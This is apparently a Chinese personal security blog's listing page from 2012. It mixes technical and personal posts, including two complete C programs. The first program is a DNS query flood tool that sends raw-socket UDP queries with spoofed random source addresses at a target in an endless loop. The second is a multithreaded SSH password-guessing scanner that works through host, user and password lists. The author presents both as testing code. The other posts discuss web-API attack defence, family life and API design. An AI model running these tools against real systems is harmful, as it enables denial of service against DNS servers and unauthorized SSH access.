|
|
 |
| DNS Query Flood攻击 |
| Submitted by 云舒 on Sun, 29 Apr 2012 20:58:56 +0800. 技术 |
2011年写的一个DNS Query Flood测试代码。我已经尽可能的降低了攻击性,仅供测试DNS服务器性能使用。
BTW,我依旧记得当时的痛苦,也许DNS协议的设计者是写第一个DNS服务器的人吧,协议中处处都在为Server端的解析
方便考虑,Fuck DNS Protocol。
// code by yunshu(wustyunshu@hotmail.com, 2011-07-11. just for test, have fun.
// you should change some codes for attacking.
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef struct udp_hdr
{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_length;
unsigned short uh_checksum;
}UDP_HEADER;
typedef struct usd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short udpl;
}USD_HEADER;
typedef struct dns
{
unsigned short tid;
unsigned short flags;
unsigned short queries;
unsigned short answers;
unsigned short auth;
unsigned short additional;
}DNS_HEADER;
typedef struct query
{
char * name;
unsigned short type;
unsigned short class;
}QUERY_HEADER;
int const HOST_LENGTH = 3;
unsigned long long sleeptime, starttime, outcount = 0;
int pkt_then_sleep = 0;
unsigned short CheckSum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char *) buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short) (~cksum);
}
void MySleep(unsigned int micro_second)
{
struct timeval t_timeval;
t_timeval.tv_sec = 0;
t_timeval.tv_usec = micro_second;
select( 0, NULL, NULL, NULL, &t_timeval );
}
void PaddingQuery( char *buffer, char *base_name )
{
char *tmp = (char *)malloc(strlen(base_name)+HOST_LENGTH+1);
if( NULL == tmp )
{
fprintf( stderr, "malloc for query error: %s\n", strerror(errno) );
exit -1;
}
memset( tmp, 0, strlen(base_name)+HOST_LENGTH+1 );
sprintf( tmp, "%c%c%c%s", rand()%25+97, rand()%25+97, rand()%25+97, base_name );
int length_pos = 0;
int loop_num = 1;
char *token = strtok( tmp, "." );
while( NULL != token )
{
if( loop_num == 1 )
{
length_pos = 0;
memset( buffer, strlen(token), 1 );
strcpy( buffer+length_pos+1, token );
length_pos = length_pos + strlen(token) + 1;
}
else
{
memset( buffer+length_pos, strlen(token), 1 );
strcpy( buffer+length_pos+1, token );
length_pos = length_pos + strlen(token) + 1;
}
token = strtok( NULL, "." );
loop_num ++;
}
free(tmp);
}
void Init( char *buffer, int buffer_size, char *ip, char *base_name )
{
IP_HEADER IpHeader;
UDP_HEADER UdpHeader;
USD_HEADER UsdHeader;
DNS_HEADER DnsHeader;
QUERY_HEADER QueryHeader;
// whole udp packet except ip header and usd_header
int total_packet_len = buffer_size;
// udp packet with usd_header
int udp_with_usd_len = total_packet_len - sizeof(IP_HEADER) + sizeof(USD_HEADER);
char *udp_packet = (char *)malloc( udp_with_usd_len );
if( NULL == udp_packet )
{
fprintf( stderr, "malloc udp packet error: %s\n", strerror(errno) );
exit;
}
memset( udp_packet, 0, udp_with_usd_len );
IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
IpHeader.tos = 0;
IpHeader.total_len = htons( total_packet_len );
IpHeader.ident = rand() % 30000 + 9876;
IpHeader.frag_and_flags = 0x0000;
IpHeader.ttl = 255;
IpHeader.proto = IPPROTO_UDP;
IpHeader.checksum = 0x0000;
// 1.1.1.1 ----------- 250.250.250.250
IpHeader.sourceIP = htonl(rand( ) % 4193909242 + 16843009);
//IpHeader.sourceIP = inet_addr("10.23.230.110");
IpHeader.destIP = inet_addr(ip);
UdpHeader.uh_sport = htons( rand() % 8000 + 2345 );
UdpHeader.uh_dport = htons(53);
UdpHeader.uh_length = htons( total_packet_len - sizeof(IP_HEADER) );
UdpHeader.uh_checksum = 0x0000;
UsdHeader.saddr = IpHeader.sourceIP;
UsdHeader.daddr = IpHeader.destIP;
UsdHeader.mbz = 0x00;
UsdHeader.ptcl = IPPROTO_UDP;
UsdHeader.udpl = UdpHeader.uh_length;
DnsHeader.tid = rand() % 40000 + 12345;
DnsHeader.flags = 0x0001;
DnsHeader.queries = 0x0100;
DnsHeader.answers = 0x0000;
DnsHeader.auth = 0x0000;
DnsHeader.additional = 0x0000;
QueryHeader.type = 0x0100;
QueryHeader.class = 0x0100;
memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
memcpy( udp_packet, (void*)&UsdHeader, sizeof(UsdHeader) );
memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader), &DnsHeader, sizeof(DnsHeader) );
PaddingQuery( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader), base_name );
memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader)+1+HOST_LENGTH+strlen(base_name)+1, ((char*)&QueryHeader)+sizeof(char *), sizeof(QueryHeader)-sizeof(char*) );
UdpHeader.uh_checksum = CheckSum( (unsigned short *)udp_packet, udp_with_usd_len );
memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
memcpy( buffer+sizeof(IpHeader), udp_packet+sizeof(UsdHeader), udp_with_usd_len - sizeof(USD_HEADER) );
free( udp_packet );
}
void Flood( char *dst_ip, char *base_name )
{
int sock;
int flag = 1;
// sizeof(char *) means the length of "name" field in the query header.
// 2 means, 0x00 and the length of host, 0x03www0x06google0x03com0x00, fuck dns protocol
int total_packet_len = sizeof(IP_HEADER) + sizeof(UDP_HEADER) + sizeof(DNS_HEADER) + sizeof(QUERY_HEADER) + strlen(base_name) + HOST_LENGTH + 2 - sizeof(char *);
char *buffer = (char *)malloc( total_packet_len );
if( NULL == buffer )
{
fprintf( stderr, "malloc memory for packet error.\n" );
return;
}
struct sockaddr_in sa;
memset( &sa, 0, sizeof(struct sockaddr_in) );
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr = inet_addr(dst_ip);
if( (sock = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) < 0 )
{
fprintf( stderr, "create socket error: %s\n", strerror(errno) );
free(buffer);
return;
}
if( setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (int *)&flag, sizeof(flag)) < 0 )
{
fprintf( stderr, "setsockopt error: %s\n", strerror(errno) );
free(buffer);
return;
}
int number = 0;
if( sleeptime == 0 )
{
while( 1 )
{
memset( (void *)buffer, 0, sizeof(buffer) );
Init( buffer, total_packet_len, dst_ip, base_name );
sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) );
outcount ++;
}
}
else
{
while( 1 )
{
memset( (void*)buffer, 0, sizeof buffer );
Init( buffer, total_packet_len, dst_ip, base_name );
sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) );
outcount ++;
number ++;
if( number == pkt_then_sleep )
{
MySleep( sleeptime );
number = 0;
}
}
}
free( buffer );
return;
}
void sig_proc(int signum)
{
int end_time = 0;
end_time=time(NULL);
printf("\n -- statistics( %d ) -----------------------\n", signum);
printf(" packets sent: %d\n",outcount);
printf(" seconds active: %d\n",end_time - starttime);
printf(" average packet/second: %d\n",outcount/(end_time - starttime));
printf(" -------------------------------------\n");
exit(1);
}
void set_sig( )
{
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);
}
int main(int argc,char *argv[])
{
char dst_ip[20] = { 0 };
char base_name[65] = { 0 };
if( argc != 5 )
{
fprintf(stderr,"\n%s <target ip> <base_name> <pkt_then_sleep> <sleep_time>\n", argv[0]);
fprintf(stderr, "send dns query to <target ip>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets.\nplease set base_name like '.baidu.com'\n\n");
return -1;
}
strncpy( dst_ip, argv[1], 16 );
strncpy( base_name, argv[2], 64 );
if( inet_addr(dst_ip) == INADDR_NONE )
{
printf( "target ip error.\n" );
return -1;
}
pkt_then_sleep = atoi(argv[3]);
if( pkt_then_sleep == 0 )
{
printf( "pkt_then_sleep error.\n" );
return -1;
}
sleeptime = atoi(argv[4]);
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);
srand((unsigned) time(NULL));
set_sig( );
Flood( dst_ip, base_name );
return 0;
}
|
|
| 评论(1) | 更多内容... |
| WEB API如何防御CC攻击 |
| Submitted by 云舒 on Tue, 24 Apr 2012 10:42:02 +0800. 技术 |
我只是把问题写在这儿,而不是写答案。最近一段时间我观察到CC攻击有一些变化,从攻击动态页面变成攻击WEB API。理由应该是很简单的。
首先是WEB API的大规模使用。不管是微博,还是网盘、图库、云存储,不开放一些WEB API出来给开发者调用,都不好意思跟别人打招呼。更何况比较大的互联网企业如腾讯、百度、阿里,都想学苹果做平台,天天说开放,想把开发者捆在自己身上加重自己的份量。一般来说开发者都比较容易激动,现实中可能沉闷但是在网上尤其活跃,出一点问题就会微博上四处转播宣扬,所以攻击WEB API惹到他们无疑是一个很好的想法。
其次在技术层面,对WEB API的CC攻击防御困难得多。在前WEB API时代,攻击目标只能是动态页面。由于攻击者是使用普通的攻击程序而正常使用者使用浏览器访问页面,一个不解析JS一个解析JS,一个不follow跳转一个follow跳转,正常用户和攻击者的区别是非常明显的,因此各地设备厂商都不约而同使用类似的方案,返回JS做客户端跳转啦,验证码啦,302重定向啦之类方式做人机识别。但是现在,问题来了。正常用户可能也是通过程序调用WEB API的方式来访问业务,攻击者和正常用户都是使用程序而不是浏览器访问,以前那些人机识别的方案已经行不通了,强上只能是大量的误报。
如何解决?嘿嘿。 |
|
| 评论(7) | 更多内容... |
| 春天了啊 |
| Submitted by 云舒 on Wed, 18 Apr 2012 15:29:42 +0800. 琐记 |
小区的映山红开得不错,不过就那么一小片。我老家的山上,想必已经漫山遍野了吧,真真正正的映山红。
现在这个季节是老家最好的时候,各种花都开了,蜜蜂蝴蝶乱飞,野菜、类似草莓的野果也都出来了。这个季节最好的野菜,莫过于这四种:水竹笋、松乳菇、蕨菜以及小蒜。水竹笋就长在屋子旁边,早上起来走两步就看到带着水珠的细细尖尖的孙,抽一大把回家一洗一剥,简单炒炒吃稀饭就是无上的美味,何须调料?何况还有田边的小蒜,和鸡蛋煎在一起,那个香味永远都忘不掉。两碗粥,一盘笋,一盘小蒜煎蛋,有比这更好的早点么?松乳菇就需要煮面条或者做汤了,油都不需要,拿清水煮,放点盐即可,出锅之后就是满屋的鲜味,绝不是鸡精之类可以比拟的。
可惜永无机会在这个季节回到老家。 |
|
| 评论(5) | 更多内容... |
| 奶奶去世 |
| Submitted by 云舒 on Fri, 02 Mar 2012 14:40:51 +0800. 琐记 |
2月24日晚上10点30分,奶奶去世,享年86岁。
我弟弟0点从张家港开车出发,25日凌晨3点到杭州我住处。随后开我的车回湖北。黄山、景德镇、九江一路走过来,暴风暴雨,很是辛苦,也比较危险。叔叔伯伯、堂哥堂弟也各自驾车连夜赶回,最远的是五弟从四川奔波1200公里赶回。虽然明知每个人都有这么一天,却也免不了伤心。可惜免不了伤心,却也逃不过这一天。
我至少有10年没有在这个季节回过农村老家了,每年都是春节待上2-3天。所以这次,特地到处走了一下,很多地方变了,也有很多地方依旧。我亲手种下的树,已经只有一棵还存在。 |
|
| 评论(11) | 更多内容... |
| 悲剧发生了 |
| Submitted by 云舒 on Wed, 01 Feb 2012 15:14:32 +0800. 琐记 |
过年一直呆在湖北老家,回杭州后发现把博客过没了。godaddy那边忘记续费,他们删除了我的数据,从上传的图片到数据库的所有内容。等我看看本地的备份,立马要哭了,最新的备份是2011年7月7号的。懒引发的血案啊。
还好有google reader,可以把丢失期间的博客重新写出来,遗憾的是评论中的讨论永远消失了。这个周末写备份脚本,每天一次!另外,我的宝宝马上半岁了,她的博客也可以发布出来了。http://baby.icylife.net,我会一直写到她自己会写为止。 |
|
| 评论(3) | 更多内容... |
| 扫描ssh密码 |
| Submitted by 云舒 on Wed, 01 Feb 2012 15:08:34 +0800. 技术 |
很久以前有个人给了我一本小书名字是《heroes in my heart》,其中有一段是讲数学希尔伯特的。“一次在 Hilbert 的讨论班上,一个年轻人报告,其中用了一个很漂亮的定理,Hilbert 说:‘这真是一个妙不可言(wunderbaschon)的定理呀,是谁发现的?’那个年轻人茫然的站了很久,对 Hilbert 说:‘是你……’”
不是很久之前,我测试一个自动防御系统,需要进行ssh密码扫描。试了medusa和ncrack,悲剧的是在我的环境下都不够稳定。无意中发现坐对面的同事在用一个小巧的程序做测试,跑得还行,于是我说不错啊,这程序哪儿搞的。他看了一下代码,说”你写的“,于是我让他把代码发给我。最近一段时间一直没有更新博客,不是没有写的,而是可写的太多反而不知道写什么好,而且有些东西也不方便写出来。干脆贴一个老代码,滥竽充数吧。
/* it's not a cracker, but scanner. version 0.1, code by yunshu(wustyunshu@hotmail.com) 2010-09-08 you should install botan and net7ssh first, complie with "gcc sshscan.cpp -lnet7ssh -lbotan -o sshscan" be sure the ssh port is open, it will not detect service when it is scanning. */
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <pthread.h>
#include <ne7ssh.h>
#define MAX_HOST 10
#define MAX_CONNECTION 5
#define USER_NAME "%USERNAME%"
typedef struct
{
char target[512];
int cracked;
FILE *user_fd;
char pwd_file[512];
pthread_mutex_t mutex;
}ScanArgument;
ne7ssh *ssh;
void Usage( char *str )
{
printf( "%s <ip_list> <user_list> <pwd_list>\n", str );
}
// copy from internet
char *
StringReplace(char *str, char *old, char *new_str) {
int i, count = 0;
int newlen = strlen(new_str);
int oldlen = strlen(old);
for (i = 0; str[i]; ++i)
if (strstr(&str[i], old) == &str[i])
++count, i += oldlen - 1;
char *ret = (char *) calloc(i + 1 + count * (newlen - oldlen), sizeof(char));
if (!ret) return NULL;
i = 0;
while (*str)
if (strstr(str, old) == str)
strcpy(&ret[i], new_str),
i += newlen,
str += oldlen;
else
ret[i++] = *str++;
ret[i] = ' ';
return ret;
}
void *CrackPwd( void *_arg )
{
ScanArgument *arg = (ScanArgument *)_arg;
char user[256] = { 0 };
char tmp[256] = { 0 };
char pwd[256] = { 0 };
int cracked = 0;
FILE *pwd_fd = fopen(arg->pwd_file, "r");
while( 1 )
{
// all users done, this thread will exit.
pthread_mutex_lock( &arg->mutex );
if( feof(arg->user_fd) )
{
pthread_mutex_unlock( &arg->mutex );
break;
}
// read username
memset( user, 0, sizeof(user) );
fgets( user, sizeof(user)-1, arg->user_fd );
cracked = 0;
pthread_mutex_unlock( &arg->mutex );
// skip blank line
while( user[strlen(user)-1] == '\r' || user[strlen(user)-1] == '\n' )
{
user[strlen(user)-1] = ' ';
}
if( strlen(user) < 1 )
{
continue;
}
//printf("test username:%s\n", user);
//rewind(pwd_fd);
while( !feof(pwd_fd) )
{
if( cracked == 1 )
{
//printf( "[found], try next user name.\n" );
break;
}
memset( tmp, 0, sizeof(tmp) );
fgets( tmp, sizeof(tmp)-1, pwd_fd );
//printf("test tmp:%s\n", tmp);
while( tmp[strlen(tmp)-1] == '\r' || tmp[strlen(tmp)-1] == '\n' )
{
tmp[strlen(tmp)-1] = ' ';
}
if( strlen(tmp) < 1 )
{
continue;
}
memset(pwd, 0, sizeof(pwd) );
strncpy( pwd, StringReplace(tmp, USER_NAME, user), sizeof(pwd)-1 );
//printf( "<test> %s %s/%s\n", arg->target, user, pwd );
int channel = ssh->connectWithPassword ( arg->target, 22, user, pwd, false, 4 );
if (channel >= 0)
{
ssh->close(channel);
printf( "[found] %s %s/%s\n", arg->target, user, pwd );
cracked = 1;
}
}
}
fclose(pwd_fd);
return NULL;
}
void ProcessHost( char *host, char *user_file, char *pwd_file )
{
int index;
ScanArgument arg;
pthread_t workers[MAX_CONNECTION];
arg.user_fd = fopen(user_file, "r");
strncpy( arg.pwd_file, pwd_file, sizeof(arg.pwd_file)-1 );
strncpy( arg.target, host, sizeof(arg.target)-1 );
pthread_mutex_init( &arg.mutex, NULL);
arg.cracked = 0;
//printf("processing %s\n", host);
for( index = 0; index < MAX_CONNECTION; index ++ )
{
pthread_create( &workers[index], NULL, CrackPwd, (void *)&arg );
}
for( index = 0; index < MAX_CONNECTION; index ++ )
{
pthread_join( workers[index], NULL );
}
fclose(arg.user_fd);
//printf("all thread exit.\n");
}
void ProcessHostList( FILE *host_fd, char *user_file, char *pwd_file, int *current_host )
{
int pid = 0;
char host[512] = { 0 };
memset( (void *)host, 0, sizeof(host) );
fgets(host, sizeof(host) - 1, host_fd );
while( host[strlen(host)-1] == '\r' || host[strlen(host)-1] == '\n' )
{
host[strlen(host)-1] = ' ';
}
if( host[0] == '\r' || host[0] == '\n' || strlen(host) < 4)
{
return;
}
pid = fork();
if( pid < 0 )
{
perror( "fork error for." );
return;
}
if( pid == 0 )
{
ProcessHost( host, user_file, pwd_file );
//printf( "exit one.\n" );
exit( 0 );
}
else
{
(*current_host) ++;
}
}
int main(int argc,char *argv[])
{
FILE *host_fd;
int current_host = 0;
if( argc != 4 )
{
Usage( argv[0] );
return -1;
}
// open all files
host_fd = fopen( argv[1], "r" );
if( NULL == host_fd )
{
perror( "open ip list error." );
return -1;
}
// init ssh library
ssh = new ne7ssh();
// create enough child frist.
while( current_host < MAX_HOST )
{
//printf( "now %d hosts.\n", current_host );
// all host done(when the totle number of hosts is less than MAX_HOSTS)
if( feof(host_fd) )
{
//printf( "feof.\n" );
break;
}
// process new host
ProcessHostList( host_fd, argv[2], argv[3], ¤t_host );
}
while ( wait(NULL) > 0 )
{
//printf( "we can get new.\n" );
// all host done, wait all child exit.
if( feof(host_fd) )
{
//printf( "wait to quit.\n" );
current_host --;
sleep( 2 );
continue;
}
// process new host
ProcessHostList( host_fd, argv[2], argv[3], ¤t_host );
}
// clean up
fclose( host_fd );
delete ssh;
printf( "All done.\n" );
return 0;
} |
|
| 评论(0) | 更多内容... |
| WEB API的粒度问题 |
| Submitted by 云舒 on Wed, 01 Feb 2012 15:08:11 +0800. 技术 |
最近工作重心转移比较大,想想最近几年挺有意思的,不过等年底总结再写。这里说说最近感受的一个东西,那就是WEB API的粒度粗细问题。
我们的阿里云提供类似亚马逊的Web Hosting服务,各种网站各种业务都有,因此需要把以前只给内部提供的一些安全服务作为增值业务推到外部去,给使用Hosting业务的客户使用,让他们无需研究安全就可以得到保护。这里就涉及到系统改造,最简单的方式是在原有系统的外面再包装一层,让Hosting业务的前端调用WEB API间接的使用安全服务。这个方案,其实2008年我有做过类似的事情,当时时包装SUN的一个认证系统,见 http://www.icylife.net/yunshu/show.php?id=650
。问题在于,当年的这个系统很小,实施起来比较简单。而现在的涉及到前端业务的变化和复杂度,再加上性能的考虑,这个API的颗粒度如何把握?
首先看看颗粒度比较细的API的劣势,显然的,粒度越细的API调用起来越繁琐。假设安全部门侦测到某个IP的VM处于SSH密码猜解状态,需要调用后端的系统做处理。这时候可能要先调用WEB API将VM IP转换为VM Name,基于VM Name查询VM ID,基于VM ID再做策略变更,我相信大多数的开发者面对这种连锁的API调用都会抓狂的,而且代码会非常的累赘。另一方面,WEB API是远程调用,HTTP协议性能并不高,来来往往的解析导致整个系统最终的性能会非常的差。但是,这种细粒度的API也带来很大的好处,那就是灵活性,无与伦比的灵活性。整个系统在物理上可以分布式架构,也不用顾忌不同的语言之间的整合。最重要的一点是,前端频繁的业务变化不会带来后端API的变化,只需要调用者修改代码组合不同的API就可以实现新的功能。
相比而言,粗粒度的WEB API优缺点也很清楚,就无需多说了。那么是否有好的方式,兼顾两点?我的看法是很难。具体粒度如何粗细,只能凭借经验去把握了。 |
|
| 评论(0) | 更多内容... |
|